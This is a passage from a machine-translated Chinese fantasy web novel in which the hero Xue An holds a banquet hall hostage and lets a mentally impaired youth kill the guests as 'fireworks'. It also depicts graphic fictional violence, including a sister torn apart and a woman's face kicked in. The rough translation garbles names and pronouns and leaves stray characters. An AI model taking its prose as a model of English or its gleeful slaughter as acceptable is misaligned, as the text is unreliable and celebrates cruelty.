    "Ok... so beautiful!" Wei Haocang said with a grin.


    "Do you still want to see it?" Xue An smiled happily.


    Wei Haocang nodded vigorously That''s good! How about letting you set off fireworks in a while? "Speaking, Xue An stretched out his hand and patted Wei Haocang on the shoulder.


    "No!" Wei Qing laughed to wake up instantly, screamed, and wanted to stop.


    Because she knew her brother''s temper too well, since childhood, the only person who could get close to him was Wei Qingxiao.


    Anyone else who wants to contact him will meet Wei Haocang''s fierce resistance.


    But she was a step too late to stop, Xue An''s hand had lightly patted Wei Haocang''s shoulder.


    Wei Qing laughed inwardly with a sigh, and was about to stop it.


    But the scene that happened at the next moment made her stand still.


    Seeing that Wei Haocang didn''t have any overreaction, instead he nodded at Xue An with a smile on his face and mumbled: "Hmm!"


    The closeness of words and expressions is even second only to the performance of oneself.

 Chapter 1416： Face is given by others, so you are the most...

    Wei Qing laughed stupidly.


    How is this going?


    Why is his younger brother suddenly so "approachable"?


    He even seemed to be friends with the boy in white.


    This is incredible!


    Thinking of this, Wei Qingxiao suddenly understood something, turned his head to look at Xue An, and said coldly: "It''s you?"


    Xue An smiled slightly, "What am I?"


    "It must be you, how could Cang''er be so honest? Say, what did you do to him?"


    Xue An did not speak, but looked at Wei Qing with a pitying expression and smiled.


    That''s right.


    It''s compassion!


    Because he could see that Wei Qingxiao was panicking now.


    Yes, Wei Qingxiao did panic, and was completely panicked.


    Because Wei Haocang grew up under her blessing since he was a child, it can be said that Wei Qingxiao knows everything he says and does.


    This understanding is even deeper than Wei Haocang himself.


    This is a life without surprises.


    Wei Qing laughed more than once in the fantasy that one day his brother would suddenly wake up and become a normal person, giving himself a big surprise.


    But that is just a fantasy.


    In fact, Wei Qingxiao could easily guess what Wei Haocang wanted to do next.


    There are no exceptions.


    Until this time, the exception came.


    Wei Qing laughed wrong.


    Not only was Wei Haocang not excessive, but rather calm, as calm as a normal person.


    This strange reaction made Wei Qingxiao''s scalp numb.


    She didn''t know whether it was good or bad, good or bad.


    But out of pure siblings, she naturally aimed all suspicions and spearheads at Xue An.


    Xue An naturally understood this, so he didn''t get angry, just shook his head gently.


    "You are wrong, I didn''t do anything wrong, it was just your brother''s normal reaction together!"


    "You are talking nonsense!" Wei Qing smiled extremely excited, his eyes full of murderous intent.


    Although the strength of this white-clothed boy is very tyrannical, if he dared to disadvantage his younger brother, then Wei Qing laughed at all and would have to kill him.


    But at this moment, Wei Haocang murmured, "Sister, watch the fireworks!"


    Although this sentence still cannot express the meaning clearly like normal people, but at least the words are clearer than before.


    Of course, this kind of progress can only be heard by the most familiar with Wei Haocang. For others, this is still a fool''s babble.


    Wei Qing laughed naturally, and she was stunned.


    This kind of extremely subtle progress, but like a blockbuster, exploded directly in Wei Qingxiao''s heart.


    "Cang...Cang''er..." Wei Qing laughed and her voice trembled, and tears came from her eyes.


    Wei Haocang ignored his sister, but looked at Xue An with excitement.


    "Fireworks!"


    Xue An smiled and nodded, then turned to look at Wei Qing and smiled deeply.


    "Are you credible now?"


    Whether it is true or not, the slight improvement of his brother is true!


    So Wei Qingxiao wiped away the tears, stared at Xue An with a cold face, and finally nodded slowly.


    "I can believe you for a while, but you must remember that if you dare to do nothing to my brother, I will kill him!"


    Such threats seemed so pale and weak in front of Xue An.


    But Wei Qing laughed still to say, and she really thought so.


    Xue An smiled faintly and suddenly said, "Do you know? If other people dared to talk to me like this, they would be dead by now!"


    Wei Qing laughed, breathing quickly, but he still looked at Xue An without flinching.


    "But you are different, you have to be an exception, after all, I have to give somebody some face!" Xue An said with a smile.


    But then, his smile became colder, "But you have to remember that the face is given by others, and the day will be used up, so you''d better be honest and stop doing stupid things, especially threatening me. What a stupid thing! Understand?"


    These few questions of Xue An seemed like a heavy hammer, all of them blasted on Wei Qingxiao''s heart, causing her to step back a few steps uncontrollably, her face full of shock.


    At the same time, Xue An narrowed his gaze and replaced it with a smiling face, as if the almost substantial murderous intent just now was just an illusion. With a wave of his hand, he removed the divine mind that had previously isolated everyone from snooping.


    The noise regained the ears.


    From beginning to end, these people in the banquet hall did not hear a trace of the conversation between Xue An and Wei''s brother and sister.


    Even the figures of a few of them seemed very vague as if they were separated by a layer of frosted glass.


    These people naturally understand that this is a barrier of divine consciousness that isolates and spies.


    But this discovery also brought the minds of everyone in the banquet hall to life.


    Since the other party can''t see him now, can he take the opportunity to escape from here?


    With this thought in mind, someone close to the door began to move quietly, trying to leave here.


    At the beginning, people''s footsteps were still tentative, very slight, for fear of disturbing the sword light in front of their throat.


    But after walking for a few steps, I found that the sword light seemed to be totally unconscious, not moving at all.


    At this time, these people couldn''t help being overjoyed, speeding up their pace and rushing out of the banquet hall.


    Closer...closer!


    at last!


    The entrance of the banquet hall was already in sight. These people stepped out to escape this ghost place.


    But one of their feet had just stepped on the ground outside the banquet hall, and they had been lazily.


    Puff puff!


    After a few noises, these people who were planning to flee were clutching their throats, which had been stabbed in a big hole, and fell to the ground with unwilling faces.


    Moreover, not only the human body was crushed by this blow, but their ghost soul was also crushed together.


    So when they landed, these people were already gone and died.


    This hand frightened everyone who was about to move all the time The steps that were about to go out quickly took back.


    But how can those strong people be content with such a situation?


    For example, Luo Gaoyang and other Patriarch-level powerhouses turned pale, looked at each other and communicated silently, trying to find a solution.


    But after some attempts, they desperately discovered that this strand of sword light seemed insoluble.


    If you don''t trigger it, it will stay lazily in front of your throat, but once it is triggered, it will kill you in an indefinite period of time.


    This kind of harsh setting made Luo Gaoyang and the others embarrassed and helpless.


    In this situation, Luo Qifeng''s eyes flickered and he didn''t know what he was thinking.


    At this moment, Xue An broke through the barrier of divine consciousness.


    When the figures of Xue An and others became clear again, the noise in the banquet hall disappeared instantly.


    Everyone looked at the leader in white with complicated eyes.

 Chapter 1417： Since you want to survive, give me a...

    They really don''t understand, what is the origin of this young man, why is he so powerful?


    at the same time.


    Xue An smiled at Wei Haocang, "Brother Haocang, do you want to set off the fireworks one by one? Or do you want them to explode together?"


    This question really seemed like a whisper of the devil, which caused an uproar in the entire audience who had been silent and full of fear.


    "Who the **** are you? Let me go!"


    "Yes! This matter has nothing to do with us! Let go of me!"


    "My lord, spare your life!"


    The begging for mercy mixed with the angry verbal abuse, making the whole banquet hall messy.


    Xue An didn''t have any expressions, but just watched in his spare time, and his expression was like watching some wonderful performance.


    "enough!"


    The sudden loud shout made the audience quiet down instantly.


    Then I saw Luo Qifeng stepping forward, looking at Xue An with a solemn expression, clasping his fists and arching his hands, and said in a deep voice.


    "Friend! Your strength is indeed strong, but there is no hatred between us! If it is just because of some trivial things, it is not worth doing so, after all, you are a peerless powerhouse, so why do you say this? Right?"


    "A trivial matter?" Xue An smiled slightly, his eyes swept over Luo Xuan''s ghost who was trembling behind Luo Qifeng, and said lightly.


    "Since you also know that I am a peerless powerhouse, then this woman has just spoken harshly to me. You must give me an explanation about this matter!"


    Upon hearing this, Luo Xuan trembled all over, and then screamed in surprise.


    "You have already wiped out my human body, what do you want? I tell you, my Luo family..."


    Before he finished speaking, Luo Qifeng had already pulled him in front of him.


    "Brother, what are you going to do?" Luo Xuan was still a little unsure.


    Luo Qifeng sighed lightly, "Xuan''er, blame you for offending someone who shouldn''t offend today!"


    Luo Xuan trembled all over, and suddenly understood something, she couldn''t help shouting in horror.


    "Do not����."


    But before the words fell, Luo Qifeng grabbed her ghost body with both hands and slammed hard.


    "Ahhhhhhh! Luo Qifeng, you bastard!" With a stern cry.


    Luo Xuan''s body was torn in half from the middle.


    The ghostly spirit gushed out from it, sprayed all over the floor like blood flowing out of Bo Bo.


    Then Luo Xuan''s ghost fragments became transparent at a speed visible to the naked eye, and in an instant, they were already weak and imperceptible.


    finally!


    After a crisp sound.


    This Miss Luo family, who was known for her arrogance and domineering, died in the hands of her most admired brother.


    The purpose is just to apologize to the young man in white.


    Many people can''t help but become slightly discolored by these ruthless and decisive methods.


    But Luo Qifeng, who had done all this, said to Xue An in relief: "Friend, are you satisfied with this statement?"


    Xue quietly looked at the ghost fragments scattered on the ground, and finally nodded.


    "not bad!"


    Luo Qifeng let out a sigh of relief, then smiled and said, "If this is the case, then please ask your friends to raise your hand and let me wait!"


    Able to bend and stretch, make a tough shot!


    Luo Qifeng''s current performance fell in the eyes of many people, and only these eight words were evaluated.


    Luo Gaoyang nodded secretly.


    In his view, this is the quality that a qualified Patriarch should have.


    As for the death of a daughter...Compared with my own life, it is nothing to mention!


    But when Luo Qifeng was full of confidence, he never expected Xue An to suddenly laugh.


    "I''m really satisfied with the statement you gave, but when did I say that I was satisfied to let you go?"


    "You..." These words made Luo Qifeng''s expression change violently, and then calmed down again, saying gloomily.


    "Friend, you have to be forgiving and forgiving, how can you let us go?"


    "It''s very simple!" Speaking of this, Xue An raised his hand and pointed at Luo Jian and Ren Tianqi in the distance.


    "No matter who you are, I only ask for the consent of the two of them, and I can let him go!"


    boom!


    Xue An''s decision almost blasted the banquet hall.


    Luo Jian and Ren Tianqi were also dumbfounded.


    Sir, what does this mean?


    Among the audience, only Wei Qing smiled thoughtfully and probably understood some of what Xue An wanted to do, but the more so, the more shocked she was and she couldn''t help taking a deep look at Xue An.


    Who is this boy?


    Why is not only strong enough to guard against the sky, but also so skillful in manipulating people''s hearts?


    At this moment, the chaotic banquet hall like a vegetable market gradually calmed down.


    Everyone looked at Luo Jian and Ren Tianqi with piercing eyes.


    Because all their hopes for life are pinned on both of them.


    It can be said who Luo Jian and Ren Tianqi want to live. Who can survive.


    "Cough cough! Old Qi, I didn''t do the right thing for my eldest brother, so please bear with me. After all, we are blood brothers, right?" Luo Qifeng said to Luo Jian first.


    Luo Jian was already awake from the shock just now. When he saw that his eyes were always higher than the top, and Luo Qifeng, who rarely even looked at him with his straight eyes, spoke at him low and low.


    He suddenly understood a lot, and couldn''t help but gratefully look at Xue An in the distance.


    Xue An smiled noncommitantly, nodded slightly, and motioned for him to be free.


    Luo Jian took a deep breath, and then sneered: "Luo Qifeng, did you remember that I was a younger brother? What? All kinds of bullying and targeting in the past, just want to disintegrate with a few apologies?"


    Luo Qifeng''s face turned pale.


    He naturally knew the resentment in Luo Jian''s heart, because what he had done to Luo Jian was not so glorious.


    So he looked at Luo Gaoyang with a look of help.


    Luo Gaoyang couldn''t stand idly by for his own safety. He coughed slightly, trying to make his voice amiable, and said with a smile.


    "Jian''er, all rightDon''t be too obsessed with the past. Anyway, are we all a family?"


    "A family?" Luo Jian''s face showed an extremely strong hatred, "Why did you treat me as a family?"


    "Jian''er, do you have trouble for your father..." Luo Gaoyang said apologetically.


    "Hehe..." Luo Jian interrupted him directly and said coldly: "Luo Gaoyang, how did my mother die? Do I still need to talk about this?"


    This sentence made Luo Gaoyang''s complexion extremely ugly in an instant, and his eyelids throbbed wildly.


    "you����."


    "How did I know?" Luo Jian burst into tears for some unknown time. "Do you think I was young, so I didn''t know anything? You were wrong. My mother told me everything before she died. !"


    "That cheap maid! She really did it!" Luo Gaoyang was extremely angry.


    "Hehe! Sure enough, she is the cheap maid in your eyes to death! But do you know what she said to me? She said let me live well, don''t be harmed by you, if possible, don''t hate you!"

 Chapter 1418： Sorry, your eldest son also died...

    Luo Gaoyang was taken aback, and a glimmer of hope appeared in his eyes, but the next moment, Luo Jian''s words plunged him into the bottomless abyss.


    "I always listen to what my mother said, but I won''t listen to this, because I just want to hate you, and I want to let you die!" The deep hatred in Luo Jian''s words is almost overflowing.


    Luo Gaoyang, Luo Qifeng, and many people in the Luo family just wanted to talk.


    Xue An waved his hand and Shen Nian sealed their voices.


    "Wait a while before killing them!" Xue An said lightly.


    "Yes, my lord!" Luo Jian said very respectfully.


    The eyes of Luo Gaoyang and others finally showed infinite horror.


    The fear of death fell on their heads for the first time.


    Only when you really face death, you will understand its terrible.


    And just when Luo Jian officially broke with the Luo family.


    Ren Tianqi also encountered a similar situation here.


    At the beginning, the director of the Ren Jiajia family was still full of joy, thinking that he was hopeful for his survival, and he couldn''t help but yelled carelessly: "Second, let us go!"


    Ren Tianqi remained unmoved, just hung her head, not knowing what she was thinking.


    Ren Xiong frowned slightly, just about to have a seizure, but immediately remembered something, and said in a more gentle tone: "Tianqi! Let go of being a father!"


    "Father? Haha!" Ren Tianqi suddenly sneered, then raised her head and stared at Ren Xiong with hatred eyes.


    "What qualifications do you have to be my father?"


    "You!" Ren Xiong gaped when asked.


    But the rest of the Ren family roared at this moment.


    "Ren Tianqi, are you crazy? How dare to talk to the Patriarch like this?"


    "That''s right! You let the Patriarch and me wait soon, even if this matter is forgotten!"


    Among these shouts, the smile on Ren Tianqi''s face became more and more crazy, and she suddenly yelled.


    "enough!"


    Everyone in the Ren family who was noisy fell silent in an instant.


    Then Ren Tianqi slowly said in an extremely cold voice: "I, Ren Tianqi, in your eyes, is not as good as a dog? Just come and go?"


    Everyone in the Ren family gradually paled.


    Ren Xiong''s eyes also showed a trace of horror, but Xuan even forced a smile and said: "Qi''er, we did ignore you before, but my father promised to change it in the future!"


    "Change? Ha ha, no need! It''s too late!"


    "It''s not too late, I..."


    Ren Tianqi waved her hand, interrupted Ren Xiong impatiently, and said with great interest: "You know, from the time I remembered to the present, I remember all the things you all did to me! "


    "And these humiliations, do you think that an understatement can make up for it?"


    Ren Tianqi''s words made Ren Xiong''s face paler.


    at the same time.


    Ren Tianqi turned around and said to Xue An respectfully: "My lord, thank you for giving me this opportunity. I am dead now without regret!"


    Xue An smiled silently, "Have you decided?"


    Ren Tianqi nodded without hesitation, "Yes, it''s decided!"


    "That''s good! Do it now?"


    "Yes!"


    These words made everyone in the Ren family howl together.


    Ren Xiong roared hysterically: "Ren Tianqi, you scum of the betrayal family! You wait, when my son Ren Tianyun comes back, you will never let you go!"


    Ren Tianqi sneered, unmoved.


    But Xue An was startled slightly, and then chuckled: "If you don''t tell me, I have forgotten. Some time ago I killed two people in the fringe ghost world, one named Ren Tianyun and the other named Tan Feiwen! It seems to be yours! So you No need to wait for Ren Tianyun to come back!"


    "Because he is dead!"


    These words made Ren Xiong, who was clamoring wildly, quiet for an instant, but soon, he laughed strangely.


    "Boy, you are indeed strong, but do you think you can fool me with just a few words? My son Ren Tianyun has a clear breath..."


    Just when he wanted to say that Ren Tianyun did not die in his bloodline perception.


    Xue An raised his hand and snapped his fingers.


    There was a crisp sound.


    Ren Xiong was taken aback for a moment, and the color behind him paled at a speed visible to the naked eye.


    Because he was extremely horrified to discover that after Xue An''s snapped fingers, his son''s blood and breath suddenly disappeared.


    "This...what is going on? My son?" Ren Xiong roared.


    Xue An smiled faintly, "Didn''t I tell you everything? Your son is dead! It''s just that I was afraid of your sadness before, so I have been using secret techniques to cover it up! How about, should I thank me?"


    "No...impossible!" Ren Xiong let out a terrible cry.


    But this is the fact, and it is not changed by manpower at all.


    And Xue An was obviously tired of the yelling Ren Xiong, so he turned his head and smiled at Wei Haocang.


    "Brother Haocang, let''s set off fireworks now!"


    Wei Haocang smirked, then raised his hand and shouted at Ren Xiong and others.


    "Boom!"


    At the same time, Xue An''s eyes flashed, and the sword light that was in front of the Ren family''s throats melted and passed straight through.


    Thump Thump!


    The dead were planted to the ground.


    A heavy blood filled the audience.


    People are all looking silly.


    Only Ren Tianqi looked happy.


    But at this moment, a beautiful figure in the crowd suddenly rushed out and knelt directly in front of Ren Tianqi.


    "My husband, save me!"


    The one kneeling in front of Ren Tianqi was no one else, but Tan Xiyao, the second daughter of the Tan family.


    I saw Tan Xiyao at this moment, her face as white as paper, kneeling on the ground and shivering. There was really a pity for me.


    And the husband-in-law sentence just now is even more sincere.


    Ren Tianqi looked at her with a sneer, as if expecting that she would definitely appear.


    "Husband? Who is your husband?"


    Seeing the sneer on Ren Tianqi''s face, Tan Xiyao''s heart gradually cooled to the heel.


    She thought that if she did this, she would definitely impress this Ren Tianqi, but she didn''t expect him to even look at herself.


    But she couldn''t hold back.


    Because just now, she heard the Tan Family Patriarch''s low exclamation very clearly.


    Because after Xue An��s snapped fingers, the people in the Tan family naturally felt Tan Feiwen��s disappearance.


    This fact tells Tan Xiyao that if she can pass this barrier safely, then the future Tan family will really become her world.


    What''s more, in order to survive, she must also do this.


    So when he heard Ren Tianqi''s words, Tan Xi [Hunhun Novel Network] Yao raised her face and said with a flat smile: "Of course it is you, husband, you forgot, there is no marriage contract between us..."


    The last about word was just exported A shoe shadow gradually enlarged in Tan Xiyao''s eyes.


    Then, under Tan Xiyao''s horrified gaze, Ren Tianqi''s foot slammed heavily on her charming face.


    Bang!


    The kick was so fierce that Tan Xiyao''s eyes were almost blown.


    Tan Xiyao screamed, and was kicked out by Shengsheng. After landing, a mouthful of blood was spit out on one side of the face, which was mixed with various tooth fragments.


    Looking at Tan Xiyao''s current appearance, it was truly miserable. Her tall nose had collapsed, and her face was completely kicked.


    At this time, the audience was terrified.


    Because this kick is too amazing.


    Even Tan Xiyao tried to open her swollen eyes and looked at Ren Tianqi blankly, not understanding what was going on.


    At this time, Ren Tianqi slowly retracted her foot and said coldly: "I never beat women, but you are an exception!"

 Chapter 1419： afraid? Why should I be afraid?

    After finishing all this, Ren Tianqi turned around, fell to the ground respectfully, and then knocked his head a few times.


    "My lord, thank you for your supernatural power, now I have my wish, please do it!"


    When she said this, Ren Tianqi''s face was relieved, as if she had been relieved of heavy burdens, and there was no more hostility before.


    Xue An smiled and nodded, "Well, get up!"


    "Yes!"


    Ren Tianqi stood up respectfully.


    Then, Xue An''s eyes swept across Tan Xiyao.


    Tan Xiyao trembled all over, and then screamed, "No...!"


    After speaking, he knelt and crawled over to Ren Tianqi.


    "Please don''t kill me, I am willing to do anything for you! I know I was wrong, I shouldn''t have been like that before, but I am still innocent now!"


    Ren Tianqi didn''t even lift his eyelids, and said lightly: "Are you innocent, do you have anything to do with me?"


    Tan Xiyao stiffened and looked at Ren Tianqi blankly.


    At the same time, Wei Haocang suddenly became excited, "Kill!"


    The word is very clear.


    Wei Qing smiled and looked back suddenly.


    Because in the past, Wei Haocang had never spoken actively except for being hungry.


    Now he can express his thoughts clearly, and the progress in this is simply unimaginable.


    Xue An was noncommittal, "Do you think she should kill?"


    This sentence asked Luo Jian.


    Luo Jian took a deep breath, "My lord, if you talk about causality, almost everyone here should die!"


    This sentence shocked the audience.


    Many people look desperate.


    Xue An smiled faintly, "Oh? According to you, what about you and Ren Tianqi?"


    Luo Jian looked as usual and shook his head, "We are different!"


    Speaking of this, a wry smile appeared on his face, "Because the two of us have no chance to do evil!"


    Xue An looked up to the sky and smiled.


    Amidst the laughter, this Tan Xiyao trembled all over, but there was a glimmer of hope in his eyes.


    If this young man in white can''t bear to do something, can he survive...


    This thought hadn''t fully surfaced yet, Tan Xiyao suddenly felt that the brilliance in front of him flashed, and she flew all over, and then turned her eyes upside down, and actually saw her back.


    Strange, how could this be...


    In deep doubts, Tan Xiyao sank into the abyss of death, and never woke up.


    Tan Xiyao died just like that.


    There was another commotion in the crowd.


    Especially the Luo family, who was imprisoned by Xue An, all showed fear on their faces.


    They didn''t know what the white-clothed boy wanted to do, and what his plan was for not killing himself for the time being.


    But want to come... there will be nothing good!


    When he was suspicious, Xue An turned his head to hide in the crowd, and tried his best not to make himself too conspicuous, Luo Gaoyang smiled slightly.


    "Patriarch Luo, I want to ask you a few things, I hope you can answer truthfully!"


    At the time of the questioning, the divine consciousness that had imprisoned Luo Gaoyang had already been released.


    Luo Gaoyang trembled all over, and then asked a little hesitantly: "What...what''s the matter?"


    "It''s very simple!" Xue An raised his hand and pointed at Luo Jingting, "What the **** is her life experience! And what is it for you to work so hard to deal with the world of Zang Xueling!"


    The name Zang Xueling made Luo Gaoyang''s complexion pale instantly, and couldn''t help but exclaimed, "You...you actually came from that world?"


    "Yeah! Is it weird?" Wen Muling preemptively said, and then asked in a cold voice: "Old man, let me ask you again, who else did you deal with Master Mingjun other than your Luo family?"


    boom!


    If all the previous questions only shocked everyone, then this question from Wen Mu Ling is like a blockbuster, causing the audience to be in an uproar.


    Even Wei Qing laughed, could not help but be shocked, staring at Wen Muling, Xue An and others in a daze.


    Lord Mingjun.......


    Could it be that they are actually Mingjun''s remaining party?


    Thinking of this, Wei Qing''s heart couldn''t help but secretly tighten.


    Although she had not participated in the war that year, the various legends that have been passed down still tell Wei Qingxiao clearly what happened in the first place.


    Almost all of the giants in the ghost world were dispatched to target the peerless king who suppressed this world.


    There were countless casualties in that battle, and the final result was that Mingjun died and the rich won.


    But because the deaths and injuries were so severe, this incident has become a taboo in the ghost world for so many years, and people are strictly forbidden to discuss it in private.


    As for Mingjun''s remaining party, they are even more frantically sought after and will never be allowed to exist.


    These things naturally shocked Wei Qingxiao''s mind and couldn''t help herself.


    Luo Gaoyang naturally thought of this, so he screamed wildly: "Mr Ming, you are actually the remnants of the remnant party of Mr Ming?"


    What Wen Muling hates most is that people call herself in this tone, so she furiously said: "Yes, we are Lord Mingjun, but we are definitely not the remnants of the remnants of the party. If you dare to talk nonsense, be careful I will kill now. you!"


    At this time, Luo Gaoyang calmed down, because he knew very well that this was no longer a simple battle between giants, but an endless ending.


    After all, there is a monstrous enmity between Mingjun''s people and the rich.


    So at this moment, he calmed down instead, and he no longer had the luck and extravagant hopes he had before.


    "Haha, I understand, don''t you want to know why you have to deal with Zang Xueling? I can tell you that when she encircled and suppressed Mingjun, she shied away in every way. This incident annoyed the big figures in the central ghost world, so she privately instructed me to wait. Get rid of it secretly!"


    "The big man in the central ghost world? Who is it?" Wen Mu Ling asked first.


    "Do you think I can say it?" Luo Gaoyang sneered for a while, then looked at Xue An.


    "Junior, no matter who you are from Mingjun, I will tell you that this thing will never be good anymore. Soon you will usher in crazy revenge from the real big figures in the ghost world, because the people who encircled Mingjun , But all the giants in the entire ghost world! Hahahahaha!"


    Luo Gaoyang laughed wildly The laughter was full of triumph and joy.


    "Really? Then I really look forward to it!" Xue An said lightly in the laughter.


    His words stopped Luo Gaoyang''s laughter abruptly, and then stared at Xue An.


    "You...are you not afraid?"


    "Afraid?" Xue An shook his head, "Why should I be afraid? And..."


    Xue An smiled faintly, "Don''t you think this would be more interesting?"


    Luo Gaoyang looked at Xue An blankly, and there was a gurgling noise in his throat due to excessive shock.


    Facing the crazy revenge from the giants of the ghost world, this young man in white is not only not afraid, but very excited, even very interesting.


    What kind of weird operation is this?


    Even Wei Qingxiao was a little dumbfounded.


    How courage does this guy...

 Chapter 1420： Lamb to be slaughtered, almost cruel and naive! ...

    If someone else is here, even if he is a child of the Wei family, he will not hesitate to retreat after facing this kind of dispute involving Mingjun and the wealthy.


    But Wei Qingxiao was different. Not only did he not flinch, he was also faintly excited.


    She had already seen the arrogant and arrogant giants in the Central Ghost Realm not pleasing to the eye.


    What''s more, her status in Wei''s family is also in jeopardy.


    Now her only hope lies in Xue An.


    If he can really cure his brother''s disease, then everything will change.


    If not...


    Wei Qingxiao shook her head secretly, preventing herself from thinking about it, because she knew that, besides that, she seemed to have no better choice.


    Xue An said indifferently: "I don''t want to know if there are other giants involved. As for the so-called big figure in the central ghost world who instigated you behind, I will also pick him out, so there is only one question now!"


    Xue Jingjing looked at Luo Gaoyang quietly, "What is Luo Jingting''s true identity, tell me!"


    Luo Gaoyang gradually recovered from the shock just now, and said meaningfully: "If I tell you, can you let me go?"


    Xue An shook his head, "Of course not!"


    "Then why should I tell you?" Luo Gaoyang''s face showed a touch of mockery.


    "This secret is unknown to anyone except me, and I will never tell it. Then these secrets will become unsolvable mysteries with my death, hahahahahaha!"


    Luo Gaoyang laughed hysterically, he was fearless anyway, so he was so crazy.


    Xue An seemed to have not heard it, and nodded slightly, "Very well, since you don''t say anything, then I will find it myself!"


    "Are you thinking of searching my memory through divine mind? Hahahaha, don''t think about it! Even if I die, I won''t let you succeed!"


    Speaking of this, Luo Gaoyang was completely crazy, his aura was disturbed, and his eyes were filled with ghostly aura. The whole body that was urged swelled up, as if it would explode completely in the next second.


    "Be careful, he wants to explode himself!" Wei Qing laughed and exclaimed.


    Once a strong ghost like Luo Gaoyang explodes his soul, the power produced is even enough to level down the city of thousands of ghosts, and no one will be spared by then.


    That''s why Wei Qingxiao was so panicked.


    Xue An just smiled coldly, "Want to die? In front of me, if I didn''t let you die, you couldn''t die at all!"


    After all, Xue An''s eyes flashed with brilliance, and a vast expanse of divine thought rushed out from his eyebrows and hit Luo Gaoyang who was about to explode.


    At the same time, Luo Gaoyang has urged to reach a critical point, and will burst out completely in the next instant.


    At this time, Xue An''s spiritual thoughts also arrived.


    puff!


    It was as if the balloon that was about to explode was deflated, and it was as if the flame that was about to rise was poured with a scoop of cold water.


    Luo Gaoyang, who had already reached the critical point, was completely frozen by Xue An''s spirit without even humming.


    As for the aura that has swelled up, the divine mind that has been urged is like a yellow flower in autumn, and then it disappears.


    Luo Gaoyang slowly floated into the air, looking at Xue An with horror.


    At this moment, his whole person was completely imprisoned by Xue An''s surging spiritual thoughts.


    It''s like the fish on the chopping board, ready to be killed.


    "I gave you a chance, but unfortunately you don''t cherish it, so don''t blame me next!" Xue An said lightly, and then raised his hand.


    An invisible force penetrated directly into Luo Gaoyang''s eyebrows, forcibly pulling his soul from the sea of ??consciousness.


    This almost magical trick made everyone''s eyebrows aching.


    The soul of Luo Gaoyang, who was exposed to the air, was struggling and twisting like he had already guessed his fate.


    Xue An sighed slightly, "Why bother! Anyway, you haven''t done this to others! Enjoy it!"


    In the words, Xue An shook one hand.


    Click!


    Luo Gaoyang''s divine soul let out a miserable howl that hit the depths of everyone''s souls, and then was directly crushed by an invisible force.


    Among the scattered divine soul fragments, those gray brilliance that belonged to the memory flew obediently into Xue An''s hands.


    As for the others, he tried to reunite, but under Xue An''s means, after struggling a few times, he finally broke apart in vain.


    With such a simple trick, the Luo Family Patriarch, who once stunned the depths of the ghost world, fell.


    But Xue An seemed to have done a trivial thing, absorbed all those memories without moving, and then patted his hands lightly, and said lightly: "Okay, I should also ask what I should ask, and then we should Get you on the road!"


    "No!" There was a commotion in the audience.


    Xue An didn''t pay any attention at all, but turned his head and smiled leisurely at Wei Haocang.


    "How about brother Haocang? Do you want to try to set off fireworks?"


    Wei Haocang nodded repeatedly, his face full of excitement.


    So Xue An patted him on the shoulder, and every time he patted, the sword light in the audience shook.


    After three times!


    Xue An said: "Okay, now this full sword light is for you to use, you can kill anyone you want!"


    Xue An''s voice was very calm, but it was like a devil''s grin in everyone''s ears, which was chilling.


    "You devil, you are dead for you like this!"


    "Yes, you keep avenging others, but you are purely killing innocent people!"


    These desperate rants came and went one after another.


    Xue An sneered coldly when he heard the words, "Huosuga life? This should be the life of the ghost! And are you really innocent? Is there a truly innocent person who dares to stand up?"


    These words made the audience quiet down instantly.


    Those who can stand in this banquet hall are the rich and elites in the depths of the ghost world, and they have hundreds of thousands of innocent lives in their hands.


    So facing Xue An��s questioning, they collectively fell silent At the same time.


    Wei Haocang exclaimed excitedly, "Set off fireworks, beep!"


    While talking, he pointed randomly in the crowd with his hand.


    Every time the finger crossed, the sword light exploded.


    The screams also sounded.


    Bang bang bang!


    A corpse fell down one after another.


    The rest of the people shivered and looked desperate, like chickens and ducks in the slaughterhouse, waiting for death.


    Wei Qing smiled and stared blankly, she didn''t expect to have such a gameplay.


    Especially when she looked at her brother, she felt a strange feeling. Because she found that under Wei Hao''s bright smile, there was a cruel innocence!


    The so-called gentle killing of you is nothing more than that!

 Chapter 1421： I give you 3 days to control this...

    at last.


    When the last scream passed, there were no more people standing in the banquet hall except Xue An and his party.


    The ground was full of dead corpses lying horizontally and vertically, and blood was winding down the ground, and the air of broken ghosts filled it, making this banquet hall look terrifying.


    Even as the eldest lady of the Wei family, when faced with such a miserable situation, Wei Qing laughed a little pale, almost nauseous.


    Xue An smiled faintly and suddenly said, "Do you know why I chose to help you?"


    Wei Qing smiled ugly and did not speak.


    "Because even though you are Miss Wei''s family, you still have a bottom line, otherwise you wouldn''t be so uncomfortable facing such a scene!"


    "Know that for these dead guys, this level of blood may just be their usual daily routine!" Xue An said lightly.


    Wei Qingxiao ignored these, she finally suppressed the depression in her heart, took a deep look at Xue An, and suddenly asked, "What is the relationship between you and Mingjun?"


    Xue An smiled faintly, "What? Afraid?"


    "Of course not, I''m just curious!"


    "Then if I said that I and Mingjun are friends, do you believe it?"


    "Friend?" Wei Qing smiled slightly, then shook his head.


    "Do not believe!"


    Xue An laughed loudly, "It''s not over! Since you don''t believe anything I say, then what else are you asking!"


    "I''m just afraid..." Wei Qing''s joke was not finished yet.


    Xue An has interrupted him, and said slowly but firmly: "Don''t worry, I can definitely cure your brother''s illness, and haven''t you found out that he has become much more normal now?"


    Wei Qing smiled at the distant Wei Haocang, who was squatting on the ground and playing with a pool of blood with great interest, his eyes gradually widening.


    This is much more normal?


    This is obviously from a fool with only some intellectual defects to a bloodthirsty monster. Okay!


    Upon seeing this, Xue An patted her on the shoulder and laughed, "Okay, don''t worry! I will definitely heal him!"


    Speaking of this, Xue An looked at Wei Haocang��s back meaningfully, and said lightly: ��And don��t you think that a bloodthirsty jackal is better than a lamb to be slaughtered? Especially for his identity, not even more so. Is that so?"


    Wei Qingxiao wanted to refute this meaningful sentence, but found that he was speechless.


    Because in the ghost world, and even among the heavens, what Xue An said are truths that cannot be refuted.


    You can be kind, but only if you have the strength of kindness.


    Without strength, your kindness is nothing but stupidity in the eyes of others.


    What''s more, Wei Qingxiao knows the environment where his brother and sister are now.


    To describe it in one sentence, it is a pack of wolves.


    So she can only express acquiescence to Xue An''s words.


    At this moment, Xue An looked around the banquet hall full of bones, and after a moment of hesitation, he turned around and said to Luo Jian, who was pale but full of determination.


    "Remember what I said to you?"


    Luo Jian shook slightly, and then there was surprise and fear in his eyes, and he bowed his head deeply, "Humble and remember!"


    "I said I will help you take charge of the Luo family! Now I have cleared all the obstacles for you, at least no one in the Luo family will dare to oppose you anymore, but whether you can really control it next depends on you Own it!" Xue An said lightly.


    Luo Jian looked solemn, suddenly fell to his knees, and said in a condensed voice: "Humble and do everything possible to not disappoint adults!"


